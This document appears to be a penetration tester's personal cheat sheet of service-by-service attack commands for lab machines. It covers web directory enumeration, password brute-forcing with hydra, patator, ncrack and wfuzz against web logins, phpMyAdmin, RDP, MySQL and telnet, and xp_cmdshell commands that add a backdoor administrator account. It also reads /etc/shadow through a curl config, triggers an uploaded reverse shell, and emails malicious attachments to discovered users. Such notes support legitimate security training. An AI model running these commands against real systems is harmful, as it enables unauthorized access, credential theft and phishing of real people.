nmap -oN http.nmap –script “http and not http-brute and not http-slowloris and not http-rfi-spider and not http-sql-injection and not http-form and not http-iis*” –script-args= -d -sV -Pn -T3 -vv -p 80 10.10.10.13

  • with domain to resolve against when added to hosts file after a something like a ‘zone transfer finding use “http.host=<domain here>”nmap -oN http1.nmap –script “http and not http-brute and not http-slowloris and not http-rfi-spider and not http-sql-injection and not http-form and not http-iis*” –script-args=http.host=bank.htb -d -sV -T3 -Pn -vv -p 80 10.10.10.29

list available .nse scripts

ls /usr/share/nmap/scripts/ | grep http

Nikto

Scan for everything

  • -h specifies host
  • -p port

nikto -h 10.11.1.229 -p 80

scan to output file/ specify port/ specify basic auth
nikto -o nikto.txt -h 10.10.10.92 -p 3366 -id joker:passwordhere!

WhatWeb

  • another enum type tool like nikto but looks to be more advanced and prettier in output

whatweb -v -a 4 http://10.14.1.115/webmail

Dirb

  • run dirb on discovered site directories or simply the home site itself to find directories and files of interest to then discover webapps for which to run searchsploits on
  • supply a wordlist you think might yield special directories for the particular site or just use the default common list Dirb uses

Tests against a comon wordlist in silent mode(-S)

dirb http://10.33.1.116/administrator/ -S

GoBuster

Use "-k" option to bypass certifcate checking issues in HTTPS
use "-r" to follow redirects like http pointing you to https after
use "-x" to list exensions against normally 403 forbiddens 
Use -U/-P for a username password to use if the site needs basic authentication
    >dir /usr/share/wordlists/dirbuster
    >dir /usr/share/wordlists/dirb
    >dir /usr/share/seclists/Discovery/Web-Content
use -o for output to a file
use -to 100s to set the http timeout to 100 seconds instead of default 10 this is good for slow websites
use "-t" to set number of concurrent threads ie; 100 for one hundred requests at one time

Examples

gobuster -e -u http://10.33.1.22/ -w /usr/share/wordlists/dirb/common.txt

gobuster -e -u https://10.33.1.217/ -w /usr/share/wordlists/dirb/common.txt -k -r

gobuster -e -u http://10.33.10.92:8080/ -w /user/share/wordlists/dirb/common.txt -U ‘loki’ -P ‘godofmischiefisloki’

Gobuster command for slow websites

gobuster -k -e -t 10 -to 100s -u https://10.33.1.44:8000/ -w /usr/share/wordlists/dirb/common.txt

get files extensions

gobuster -e -u http://10.33.10.70/ -t 100 -w /usr/share/dirb/wordlists/small.txt -k -np -r -x pl,py,php,exe,txt,sh,old

  • wild card responses basically indicate there is an image or redirect to the same page everytime so it can’t run properly. Use Wfuzz in this case

Format gobuster discovered page codes 200,301,302 into new file for curl to then iterate with

  • use uniq filters for unique items only and we grep out the “?” matches which are normally nothing

cat gobuster.txt | grep -v 403 | grep -e 200 -e 301 -e 302 | cut -d ” ” -f 1 | grep -v ? | uniq > webpages_200_300.txt

  • grepping for 200 and 302 codes and removing lines with [+] ‘

cat gobuster.txt | grep “200\|301\|302” | grep -v “[+]\|?”

Gobuster/Proxychains

  • Using proxychains to scan a disparate networkproxychains gobuster -o gobuster.txt -e -u http://10.11.1.22/ -w /usr/share/seclists/Discovery/Web-Content/dirbuster_all.txt

Gobuster/Burpsuite Socks Proxy

  • you can scan a host through a socks proxy if you:a. make the socks tunnel ie; ssh -D paramb. turn socks proxy on for burpsuite requestsc. bind a listener port on burp to the remote address and port on a local port to scan through then just turn gobuster at that and it should run without using proxychains in the command
    • binding port 8085 on my local host to route to 10.33.1.236:80 on the remote network after turning on “Use Socks Proxy” in the “User Options” on BurpSuitegobuster -e -u http://127.0.0.1:8085 -t 50 -to 100s -w /usr/share/dirb/wordlists/big.txt -k -np -r -x pl,py,php,exe,txt,sh,old -o gobuster1.txt

WFUZZ

  • the first line of your wordlist can’t be empty otherwise you get empty dictionary error
  • use this if gobuster gets the “wildcards” issue
  • -c is to color code
  • -Z move on if pycurl error happens
  • -w is short for wordlist to supply
  • –hh is for hide chars in a page ie; you should see same number of chars from a fuzz which if is the same and always returning 200 codes you can filter with this
  • –hc is used to filter status codes ie; 404,403 etc you supply multiple with commas
  • –hl filter for number of lines returned use commas to separate
  • -p enter burp proxy if i have it on or direct SOCKS proxy i’m running see below example
  • -d form POST request grab from Burp raw params sent
  • -f fuzz.txt to save output to file
  • FUZZ is the keyword used for the placement of the wordlist words during the fuzz
  • “–req-delay” is the max seconds wfuzz should take when waiting for response
  • “–conn-delay” stop listening after given number of seconds

wfuzz -c -Z -w /usr/share/wordlists/dirb/common.txt –hh 171 –hc 404 http://10.33.10.7:10000/FUZZ

Fuzz list of websites

  • useful if the site responds but oddly has many useless hits from my gobuster script.cat hits2.txt | awk ‘{print $1}’ > sites.txt

wfuzz -f fuzz.txt -c -Z -w ./sites.txt –hh 0,101 FUZZ

Brute Force Web login with Proxy to Burp

wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou-05.txt -p 127.0.0.1:8080 –hs “Incorrect” -d “username=admin&password=FUZZ&btnSubmit=Submit” https://10.33.10.7/savedFiles/index.php

using proxychains

  • enumerate dirs/pages since gobuster fails hereproxychains wfuzz -f fuzz.txt -t 100 -c -Z -w /usr/share/seclists/Discovery/Web-Content/big.txt –hc 404 http://10.33.1.236/FUZZ

Using SOCKS Proxy Switch

  • can use the built in switch instead of proxychains when scanning over a socks proxy

wfuzz -f fuzz.txt -t 100 -c -Z -w ../../../../edbmachine/enum/test/dirb2-all.txt –hc 404 -p 127.0.0.1:1080:SOCKS4 http://10.33.1.236/FUZZ

CeWL

  • Custom wordlist building for website directory brutes with gobuster
  • “-w” Specify the output file
  • “-d” specify depth of links to follow; default is 2
  • “-m” specify number for word count for miniumum word length to capture
  • “-e” include emails found
  • “-a” include meta data

cewl -w customwordlist.txt -d 5 -m 3 http://10.33.1.219/

Brute Forcing

Patator

  • Must run with Python2, otherwise you will see UTF-8 errors with rockyou.txt list!!!!
  • Modify your Patator Script to do this
  • -e for encoding scheme to use in case creds needs to be encodded
  • you need to enter a “\” after each header option and enter the next part on the next line so it lines up in burp etc
  • -l <dir name> option to save to a directory with csv output and more

http php-my-admin login

patator http_fuzz follow=1 accept_cookie=1 method=POST url=http://10.33.10.37/phpmyadmin/index.phpbody=’pma_username=admin&pma_password=FILE0&server=1&target=index.php&token=ac2af823371731e85c7fdc394178bf9a’ 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -x ignore:fgrep=”denied”

http php-my-admin with b64 encoding of creds and multiple header options

patator http_fuzz follow=1 proxy=127.0.0.1:8080 accept_cookie=1 method=POST url=http://10.33.1.223/phpmyadmin/index.phpheader=’Cookie: phpMyAdmin=1oiq151mmplj28tpkeb0ntsose5s62at; pma_lang=en-utf-8; pma_charset=utf-8; pma_collation_connection=utf8_general_ci; pma_fontsize=82%25; pmatheme=original \ Authorization: Basic \@@_FILE0_@@_’ -e _@@_:b64 0=/usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -x ignore:fgrep=”denied”

Http Login Form

  • use burp to find the body params that take the user/pass fields and enter them like below, Leave off the last Quotation to and hit enter to make a new line for each param of our Request Header and then finally close it off and enter our ignore switches
  • “FILE0” is a placeholder for the password list used, Alternatively start with a COMBO0 and COMBO01 list also as this switch works too
  • we simply state admin as the username but could use “FILE1” place holder too to enter a list
  • for the header params you want to space them properly with an “\” after each param or copy paste like below and edit it should show a “>” for each new line in the shell prompt
  • “proxy” param is the burpsuite proxy i use docs have this wrong as “http_proxy” except my man is correct
  • “-x ignore:fgrep=”Invalid Login” this param is looking for text in the body that you want to ignore successful outputs for ie; if invalid login shows up it was unscuccessful don’t display.

patator http_fuzz follow=1 accept_cookie=1 method=POST proxy=127.0.0.1:8080 url=http://admin.cronos.htb/index.phpbody=’username=admin&password=FILE0′ 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-05.txt header=”User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://admin.cronos.htb/index.php

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=qsv70nme8til1950h9u8ofcs66″ -x ignore:fgrep=”deniedb”

Curl

  Curl utility can also be uitlized for these quick tasks: http://www.hackingarticles.in/web-application-penetration-testing-curl/

ignore certificate errors on https/443

curl https://10.11.1.217 -k

Use Curl config file to get a local file and output it to new file

  • tell curl what url to visit in this case get a local fileurl = “file:///etc/shadow”
  • next output to another local file
  • confirmed this will also overwrite any supplied parameters on the commandline ie; ifyou do a -o to a different file path it will use this config output param instead output = “/home/floris/admin-area/passwd”curl -K/curl_config

Put File and Proxy to Burp

curl -x http://127.0.0.1:8080 -T ‘http.nmap’ ‘http://10.10.10.14

Executing an uploaded reverse shell file example

curl “http://10.33.1.13/rootingtowin/reverse.asp

Wget

downloading an entire directory ie; git

  • used to search with grep tools for passwords etcwget –mirror –include-directories=/git http://10.33.10.33/git

Python Request

Use python requests module to retrieve web pages and inspect response headers etc or test for LFI
 list of browser agents http://www.useragentstring.com/pages/useragentstring.php

In [4]:

#PYTHON METHOD ALSO USING SPECIAL HEADER PARAMS
def get(url,header):
    import requests
    headers = header
    response = requests.get(url,data=None,headers=headers)
#     response = requests.get(url,data=None,headers=headers,verify=False) #use this to bypass ssl verification
    status = response.status_code #
    reason  = response.reason
    request_header = response.request.headers
    response_header = response.headers 
    content = response.content
#     print(f"Status: {status}, Reason: {reason} \n\nRequest headers: {request_header}\n\nResponse Header: {response_header}\n\nResponse Content: {content}")
    #Server field will let us know what cgi script language is available if it is
    return status,reason,request_header,response_header,content

In [14]:

import requests
normal_header = headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
url = "https://10.11.1.217/lang/en.lang" #Vulnerable php variable not sanitizing input
status,reason,request_header,response_header,content= get(url,normal_header)
print(f"Status: {status}, Reason: {reason} \n\nRequest headers: {request_header}\n\nResponse Header: {response_header}\n\nResponse Content: {content}")
Status: 200, Reason: OK 

Request headers: {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

Response Header: {'Date': 'Wed, 17 Oct 2018 04:41:14 GMT', 'Server': 'Apache/2.2.3 (CentOS)', 'Last-Modified': 'Tue, 01 Nov 2011 19:56:22 GMT', 'ETag': '"d09c2-1f16-bfe50580"', 'Accept-Ranges': 'bytes', 'Content-Length': '7958', 'Connection': 'close', 'Content-Type': 'text/plain; charset=UTF-8'}

Response Content: b'<?php\n/* vim: set expandtab tabstop=4 softtabstop=4 shiftwidth=4:\n  Codificaci\xc3\xb3n: UTF-8\n  +----------------------------------------------------------------------+\n  | Elastix version 1.0                                                  |\n  | http://www.elastix.org                                               |\n  +----------------------------------------------------------------------+\n  | Copyright (c) 2006 Palosanto Solutions S. A.                         |\n  +----------------------------------------------------------------------+\n  | Cdla. Nueva Kennedy Calle E 222 y 9na. Este                          |\n  | Telfs. 2283-268, 2294-440, 2284-356                                  |\n  | Guayaquil - Ecuador                                                  |\n  | http://www.palosanto.com                                             |\n  +----------------------------------------------------------------------+\n  | The contents of this file are subject to the General Public License  |\n  | (GPL) Version 2 (the "License"); you may not use this file except in |\n  | compliance with the License. You may obtain a copy of the License at |\n  | http://www.opensource.org/licenses/gpl-license.php                   |\n  |                                                                      |\n  | Software distributed under the License is distributed on an "AS IS"  |\n  | basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See  |\n  | the License for the specific language governing rights and           |\n  | limitations under the License.                                       |\n  +----------------------------------------------------------------------+\n  | The Original Code is: Elastix Open Source.                           |\n  | The Initial Developer of the Original Code is PaloSanto Solutions    |\n  |                                                                      |\n  | Translate by: Bruno Macias                                           |\n  | Email: [email protected]                                         |\n  +----------------------------------------------------------------------+\n  $Id: en.lang,v 1.7 2008/02/18 09:49:00 bmacias Exp $ */\nglobal $arrLang;\n$arrLang=array(\n/*System Info: Libreria jpgrapha*/\n"Disk usage"=>"Disk usage",\n"Used space"=>"Used space",\n"Free space"=>"Free space",\n"Simultaneous calls, memory and CPU"=>"Simultaneous calls, memory and CPU",\n"Sim. calls"=>"Sim. calls",\n"CPU usage (%)"=>"CPU usage (%)",\n"Mem. usage (MB)"=>"Mem. usage (MB)",\n/*end System Info: Libreria jpgraphap*/\n\n"Start"=>"First",\n"End"=>"Last",\n"Next"=>"Next",\n"Previous"=>"Previous",\n"Export"=>"Export",\n\n"Group" => "Group",\n"administrator" => "Administrator",\n"operator" => "operator",\n"extension" => "Extension",\n\n\n"Group List" => "Group List",\n"User List" => "User List",\n"Logout" => "Logout",\n"Change" => "Change",\n"Title" => "Title",\n"Language"=>"Language",\n"Load Module" => "Load Module",\n\n\n"Required field" => "Required field",\n"Cancel" => "Cancel",\n"Apply changes" => "Apply changes",\n"Save" => "Save",\n"Edit" => "Edit",\n"Delete" => "Delete",\n"Are you sure you wish to continue?" => "Are you sure you wish to continue?",\n"The following fields contain errors" => "The following fields contain errors",\n"Validation Error" => "Validation Error",\n\n\n\n/*Login to Elastix*/\n"Welcome to Elastix"=>"Welcome to Elastix",\n"Please enter your username and password"=>"Please enter your username and password",\n"Username"=>"Username",\n"Password"=>"Password",\n"Submit"=>"Submit",\n"Login page"=>"Login page",\n/*end Login to Elastix*/\n\n/*start menu*/\n"System"=>"System",\n"System Info"=>"System Info",\n"User Management"=>"User Management",\n"Users"=>"Users",\n"Menu Administrator"=>"Menu Administrator",\n"Group Permission" => "Group Permissions",\n/*end menu*/\n\n\n/*version 0.7*/\n/*start paloSantoValidar.class.php*/\n"Options"=>"Options",\n"Empty field"=>"Empty field",\n"Bad Format"=>"Bad Format",\n"No option was selected"=>"No option was selected",\n"Octets out of range" => "Octets out of range",\n/*end paloSantoValidar.class.php*/\n\n/*version 0.8*/\n/*start user*/\n"View User"=>"View User",\n/*end user*/\n\n/*system - date/time*/\n"Date/Time" => "Date/Time",\n/*end system - date/time*/\n\n/*load module*/\n"Choose Menu" => "Choose Menu",\n"ID for new menu" => "ID for new menu",\n"Menu Name" => "Menu Name",\n"Defined Menu" => "Defined Menu",\n"New Menu" => "New Menu",\n"Module sucessfully loaded" => "Module sucessfully loaded",\n"Folder name doesn\'t exist in module file" => "Folder name doesn\'t exist in module file",\n"Folder configs doesn\'t exist in module file" => "Folder configs doesn\'t exist in module file",\n"Folder themes doesn\'t exist in module file" => "Folder themes doesn\'t exist in module file",\n"File index.php doesn\'t exist in module file" => "File index.php doesn\'t exist in module file",\n"File install.php doesn\'t exist in module file" => "File install.php doesn\'t exist in module file",\n/*end load module*/\n\n// Elastix 0.9 \n/*Start SubModule Themes*/\n"Themes" => "Themes",\n"Change Theme" => "Change Theme",\n/*end SubModule Themes*/\n\n/*Module IM*/\n"IM" => "IM",\n"OpenFire" => "OpenFire",\n"The service Openfire No running" => "The Openfire service is not active at this moment. If you want to activate it please ",\n"Webmin" => "Webmin",\n"The service Webmin No running" => "The Webmin service is not active at this moment. If you want to activate it please ",\n\n\n/*vTigerCRM*/\n"vTigerCRM" => "vTigerCRM",\n"The vTiger installation is almost done. To complete it please" => "The vTiger installation is almost done. To complete it please ",\n"click here" => "click here",\n\n/*Sugarcrm*/\n"SugarCRM" => "SugarCRM",\n"The SugarCRM installation is almost done. To complete it please" => "The SugarCRM installation is almost done. To complete it please",\n\n/* Preferences*/\n"Preferences" => "Preferences",\n\n/* Start About Elastix */\n"About Elastix"=>"About Elastix",\n"About Elastix2"=>"About us",\n"HELP"=>"Help",\n"About Elastix Content"=>"Elastix is a reliable and easy-to-use Unified Communications Solution. This web-based open source software has become the solution of choice for implementations of communications over IP around the globe.",\n"About Elastix Closed"=>"Close",\n/* End About Elastix */\n\n"Search" => "Search",\n"Show"   => "Show",\n\'View\' => \'View\',\n\'Status\' => \'Status\',\n\'Type\' => \'Type\',\n\'Active\' => \'Active\',\n\'Filter\' => \'Filter\',\n\'md_message_title\' => \'Dismiss\',\n"ERROR" => "Error",\n"VersionDetails" => "Version",\n"VersionPackage" => "Details of package versions",\n"textMode" => "Text Mode",\n"htmlMode" => "Html Mode",\n"Register" => "Register",\n"Registered" => "Registered",\n"Unauthorized" => "Unauthorized",\n"You are not authorized to access to this page" => "You are not authorized to access to this page",\n"You need administrator privileges" => "You need administrator privileges",\n"Elastix Authentication" => "Elastix Authentication",\n\n/*new*/\n"Please write your current password." => "Please write your current password.",\n"Please write the new password and confirm the new password." => "Please write the new password and confirm the new password.",\n"The new password doesn\'t match with retype new password." => "The new password doesn\'t match with retype new password.",\n"Please your session id does not exist. Refresh the browser and try again." => "Please your session id does not exist. Refresh the browser and try again.",\n"Elastix password has been changed." => "Elastix password has been changed.",\n"Impossible to change your Elastix password." => "Impossible to change your Elastix password.",\n"Impossible to change your Elastix password. User does not exist or password is wrong" => "Impossible to change your Elastix password. User does not exist or password is wrong",\n"Change Elastix Password" => "Change Elastix Password",\n"Current Password" => "Current Password",\n"New Password" => "New Password",\n"Retype New Password" => "Retype New Password",\n"Change" => "Change",\n"Search modules" => "Search modules",\n);\n?>\n'
/root/anaconda3/envs/pentest/lib/python3.6/site-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)

Hydra Brute Force HTTP-POST Login Pages

Use Hydra or use Sparta interface that utilizes hydra if you want
Hydra
Details needed:
1. Login Submit buttin post grabbed easily from wireshark or even burpsuite:
  Note: filter for wireshark http-posts: http.request.method == "POST"
      Then follow the tcp or HTTP stream to see the post header and response
 2.The final portion of the hydra command should include the text grabbed from the body of the response that is returned in the message

Hydra Brute Force phpLiteAdmin with password only example

hydra -l “” -P /usr/share/ncrack/minimal.usr -t 1 -v -V 10.33.1.11 http-post-form /db/phpliteadmin.php:”password=^PASS^&remember=yes&login=Log+In&proc_login=true”:”Incorrect password.”

Burpsuite(SEE WEBAPP PENTESTING NOTEBOOK)

Robots.txt

  • The robots.txt files on websites show a dissallow parameter to stop scrapers from going to those pages. This is obviously interesting because why would they not want something discovered?

HTTPS(443)

Nmap

nmap -oN https.nmap –script ssl-enum-ciphers,ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,ssl-heartbleed,ssl-known-key,ssl-poodle,sslv2,sslv2-drown –script-args= -d -v -p 443 10.10.10.7

MSSQL(1433/1434)

  • coded creds can be found in ASP login page code
  • default user is normally “sa”

NMAP

List all nmap ms-sql scripts

ls /usr/share/nmap/scripts/ | grep ms-sql

Single host scan

  • using known DB passwordnmap –script “ms-sql and not ms-sql-brute” “–script-args=mssql.username=sa,mssql.password=password,ms-sql-config.showall=true,ms-sql-tables.maxdb=0,ms-sql-tables.maxtables=0,ms-sql-xp-cmdshell.cmd=ipconfig /all” -d -oN mssql.nmap -Pn -v -sV –version-intensity 9 -T2 -p T:27900,U:1434 10.33.1.33

ms-sql-xp-cmdshell.cmd

  • ms-sql creds needed

Adding a default user to login with

nmap -sV -T2 -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=sa,mssql.password=poiuytrewq,ms-sql-xp-cmdshell.cmd=”net user walter P@ssWORD1234 /add” 10.33.1.33

nmap -sV -T2 -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=sa,mssql.password=poiuytrewq,ms-sql-xp-cmdshell.cmd=”net localgroup administrators walter /add” 10.33.1.33

REF: http://hackingandsecurity.blogspot.com/2017/09/oscp-tricks.html

Dumping Tables ms-sql-query

  • first enumerate after getting db admin password and dump the databases to include in this command
  • next dump the discovered tables from the previous nmap commands

nmap -v -sV –version-intensity 9 -T2 -p T:27900,U:1433 –script ms-sql-query –script-args mssql.username=sa,mssql.password=password,mssql.database=bankdb,ms-sql-query.query=”SELECT * FROM tblCustomers” 10.33.1.33

sqsh

use this as alinux ms-sql client to perform manual commands
Performs the same as nmaps scripts but a good backup 
Login to remote server
sqsh -S 10.11.1.31 -U sa -P <password>
#####Run cmd commands if available
1> xp_cmdshell 'net user walter backdoor123 /add'
2> go
The command completed successfully.
1> xp_cmdshell 'net localgroup administrators walter /add'
2> go
the command completed successfully

Exporting DB tables from MS-SQL 2000 GUI

  • open SQL Server Enterprise Manager > Expand the server node > Databases > choose DB > Tables > right click > all taskss and export data > here you can authenticate with sql admin creds or admin your using > click next > in this next screen choose destination as a “text file” and choose the destination to export to > for readability choose fixed with >
  • Look for most recently updated tables as those probably have good info

MYSQL(3306)

NMAP

Single host

nmap -oN mysql.nmap –script mysql-empty-password,mysql-enum,mysql-info,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 –script-args=query=”SELECT host, user FROM mysql.user” -d -sV -T2 -v -p 3306 10.33.1.33

Listing Nmap Scripts for mysql

ls /usr/share/nmap/scripts/ | grep mysql

SQL Shell Commands

  • user creds are normally found in php files or other web files on the system or via admin comments on web pages

Remote connection to remote SQL DB with user Walter, host, and port specified. Supply creds when prompted

mysql -u Walter -p -h 10.10.10.110 -P 3305

If you have a local shell try this bash script to override for the root account(worth a try)
while [ 1 ];do mysql -u root --password=123; done
at first logon display the databases to look through
show databases;
Choose a database
use usersdb 

Show Tables in a database after selecting it
show tables;
display all contents in a Table
select * from table1;
select ‘blablabla_text’ into outfile ‘/tmp/blablabla’ 
Display a system file’s contents
select load_file('/tmp/blablabla)

Display all tables in all databases from information schema

SELECT * FROM information_schema.tables;

Mysqldump

  • Dumping the users table for a wordpress site
  • “-u” for the username
  • “-p” for the password and might have to come right after without spaces
  • then simply enter the DB to use and the table to dump

mysqldump -u wordpress -p”wordpress12345″ wp wp_users > wp_users.txt

MYSQL Brute Patator

using combo creds list

patator mysql_login host=10.11.1.33 user=COMBO00 password=COMBO01 0=/root/lab-net2019/combo-creds.txt

RDP(3389)

Nmap

  • Single Hostnmap -oN rdp.nmap –script rdp-enum-encryption,rdp-vuln-ms12-020 –script-args= -d -sV -T2 -v -p 3389 10.11.1.22

Find available rdp nse scripts

ls /usr/share/nmap/scripts/ | grep rdp-

Patator RDP NLA brute

  • combo file used
  • failures will dsplay actual failed login otherwise you might see authentication only etc messages with error but it succeeded actually, you shoudl see “denied” in real fails
  • –rate-limit=N consider using this to delay each test since it might lock us outpatator rdp_login host=10.1.1.33 user=COMBO00 password=COMBO01 0=./combo.txt -x ignore:fgrep=’denied’

proxychains

  • rate limit at one thread to avoid major lockouts across a remote network

proxychains patator rdp_login host=10.1.1.248 user=COMBO00 password=COMBO01 0=/root/lab-net2019/combo-creds.txt –rate-limit=2 –threads=1 -x ignore:fgrep=’denied’ -l rdp_brute

Domain Creds

patator rdp_login host=10.1.1.33 user=’CONTOSO\Billy’ password=’!PassWord!’

  • Confirmed this works against a domain joined machine, might see a traceback error in patator code at the end but its because it’s done

patator rdp_login host=10.1.1.33 user=’CONTOSO\COMBO00′ password=’COMBO01′ 0=/root/lab-net2019/combo-creds.txt -x ignore:fgrep=’DENIED’ –rate-limit=2 –threads=1

  • common errors: ERRINFO_SERVER_INSUFFICIENT_PRIVILEGES ACCESS DENIED ; not seeing these means success

Subnet brute with domain creds

  • this ignores “failure” and explicitly “denied” messages failure normalyl happesn probably because its XP where denieds worked to at least attemptpatator rdp_login host=FILE0 user=’CONTOSO\Administrator’ password=’!Winner!’ 0=/root/lab-net2019/rdpopen.txt -x ignore:fgrep=’fail’ -x ignore:fgrep=’DENIED’ –rate-limit=2 –threads=1

Crowbar.py

  • brute force passwords with lists but no combolists…

Brute a single host using CIDR notation

crowbar.py -b rdp -u walter -c P@ssWORD1234 -s 10.1.1.22/32 -v

Xfreerdp

  • can also be used to pth(pass the hash) with win8 and win2012

List users

xfreerdp /v:10.1.1.24 -sec-nla /u:””

Nrack rdp brute

  • Works with socks proxies at least against XP machine RDPs were patator seems to mess up
  • –proxy type://proxy:port: Make connections via socks4, 4a, http.
  • if timed out is 1 it’s because your proxy is overloaded. happened when was running a huge gobuster scan and it said too many ifles on the ssh prompt.
  • if supplying a wordlist it shouldn’t be larger than 50 passwords since it might not properly report back(use the parameters below)
  • probes are the number of tries sent in
  • Brute for user offsec and a password listncrack -vv –user walter -P passwords.txt rdp://10.10.10.11

Brute Domain user

ncrack -vvv -g cd=2,CL=1,to=10m –user [email protected] -P xac rdp://10.11.1.11

Socks4 brute witha password list for user jane

ncrack –proxy socks4://127.0.0.1:1081 -vvv -g cd=2,CL=1,to=10m –user jane -P xac.txt rdp://10.11.1.24

Socks4 Brute

  • use “–pairwise” to make it like a combo creds list but instead it has to be commma sep formatncrack –proxy socks4://127.0.0.1:1081 -vvv -g cd=2,CL=1,to=10m –pairwise –user jane,cory,jake –pass pass1,pass2,pass3 rdp://10.11.1.24

Brute with proxychains4

proxychains4 -f /etc/proxychains4.conf ncrack -vv –user jane –pass sosecurepass rdp://10.11.1.24

VNC(5900)

NMAP

Single Host

nmap -sV –version-intensity 9 –script “*vnc and not \brute*” –script-args= -d -Pn -v -T3 -p 5800,5900 10.11.1.12

List NSE scripts

ls /usr/share/nmap/scripts/ | grep vnc

xvncviewer client

use this to connect as it is installed by default

SMTP(25)

Targeted Nmap

nmap -oN smtp.nmap – –script smtp-commands,smtp-enum-users,smtp-ntlm-info,smtp-open-relay,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 –script-args= -d -v -p 25 10.12.1.22

smtp-user-enum

  • use the various modes ie RCPT TO or VRFY mode to try the usernames with. Same thing can be done manually with Telnet
  • Fix for -T option https://github.com/pentestmonkey/smtp-user-enum/pull/3/files used to supply list of hosts
  • guessing without a domain attached to the usernamessmtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/cirt-default-usernames.txt -t 10.103.10.7
  • guessing with domain name ie; [email protected] -M RCPT -f [email protected] -D megabank.com -U users.txt -t 10.103.10.77
  • smtp enumeration spray against open port 25 hostssmtp-user-enum -M RCPT -f [email protected] -D thinc.local -U usernames.txt -T smtp-open.txt

Thunderbird

  • if you find users and a way to login with their passwords into an email server ie;10.10.10.51(HTB’s solidstate machine), then you can download their emails.

Start Thunderbird

thunderbird

add mail clients

  • example you have user mindy discovered on 10.10.10.51 and have her password then add the user with username [email protected] and enter her password and bypass the exception
  • use “get messages” button to download their emails and read for information

sendEmail

  • use this to send emailwith malicious attachments to discovered user addresses
  • -f is your email(can be faked but best use known domain name)
  • -t discovered user email address
  • -u Subject title
  • -m body of message
  • -a attachment
  • -s Mail server IP

Sending an attachement

sendEmail -f [email protected] -t [email protected] -u RTF -m “Please Convert this file” -a test2.rtf -s 10.130.10.77

sendEmail

  • this tool is normally used once i have credentials to a users email
  • Sending attachment with malicious pdf to user using authentication via smtp
  • “-t” is target, “-f” is from aka me, “-xu” is username ot authenticate, “-xp” is password to use, “-s” is server/port default 25, “-u” is subject, “-m” is boxy, “-a” is attachment

sendEmail -t [email protected] -f [email protected] -xu [email protected] -xp P@ssWORD1234 -s 10.131.1.29 -u report -m “my project” -a report.pdf

Telnet SMTP

  • Send commands manually sometimes needed when the tools time out but you verified the server will connect

Check if usernames exist for Sendmail Servers

telnet tophat.acme.local 25

  • this displays if Root exists and will show an email ie; [email protected] if the mail for tha user is routed thereEXPN root

RCPT method(sendmail servers)

MAIL FROM:[email protected]

POP3(110)

nmap -oN pop.nmap –script pop3-capabilities,pop3-ntlm-info –script-args= -d -v -p 110 140.10.10.7

List pop NSE scripts

ls /usr/share/nmap/scripts/ | grep pop

RMI(1100)

Refs:

https://github.com/frohoff/ysoserial

http://www.rwbnetsec.com/wp-content/uploads/2014/02/javarmi-msf-setoptions.jpg
Attacking Java Deserialization

Java deserialization exploitation lab.
https://github.com/NickstaDB/DeserLab
50 forks.
231 stars.
0 open issues.

Recent commits:

https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/

NMAP

List RMI NSE scripts

ls /usr/share/nmap/scripts/ | grep rmi-

msfconsole

  • verify via msf aux module that there is an RMI vuln, this differed from what Nmap saidmsf auxiliary(gather/java_rmi_registry) > use auxiliary/scanner/misc/java_rmi_server msf auxiliary(scanner/misc/java_rmi_server) > optionsModule options (auxiliary/scanner/misc/java_rmi_server): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 1099 yes The target port (TCP) THREADS 1 yes The number of concurrent threads msf auxiliary(scanner/misc/java_rmi_server) > set RHOSTS 10.11.1.33/32 RHOSTS => 10.11.1.33/32 msf auxiliary(scanner/misc/java_rmi_server) > set RPOT 1100 RPOT => 1100 msf auxiliary(scanner/misc/java_rmi_server) > set RPORT 1100 RPORT => 1100 msf auxiliary(scanner/misc/java_rmi_server) > run[] 10.11.1.33:1100 – 10.11.1.33:1100 Java RMI Endpoint Detected: Class Loader Disabled [] Scanned 1 of 1 hosts (100% complete)

BaRMIe java rmi enum

java -jar ~/extra-tools/BaRMIe_v1.01.jar -enum 10.11.1.33 1100

TELNET(23)

Single host

nmap -oN telnet.nmap –script “telnet* and not telnet-brute” –script-args= -d -Pn -v -T2 -p 23 10.31.1.33

Simply Banner grab

telnet 10.11.1.22

Logging in as a user

  • you will have to supply the password aftertelnet -l james 10.33.2.2

Brute force telnet(hydra)

  • hydra was the only reliable one to also use across proxychains
  • output shows up in green when it hits
  • “-L” for list of users or “-l” for one user
  • “-P” for list of passwords or “-p” for one password

proxychains hydra -l james -P ../../passwords.txt 10.33.2.2 telnet

SSH(22)

grep ssh of greppable nmap output

cat top1000.nmap.gnmap | grep “22/open/” | awk ‘{print $2}’

Run all ssh scripts except for brute force script’

nmap -oN ssh.nmap -sV –script “ssh and not ssh-brute” –script-args= -d -Pn -v -p 22 10.10.10.7

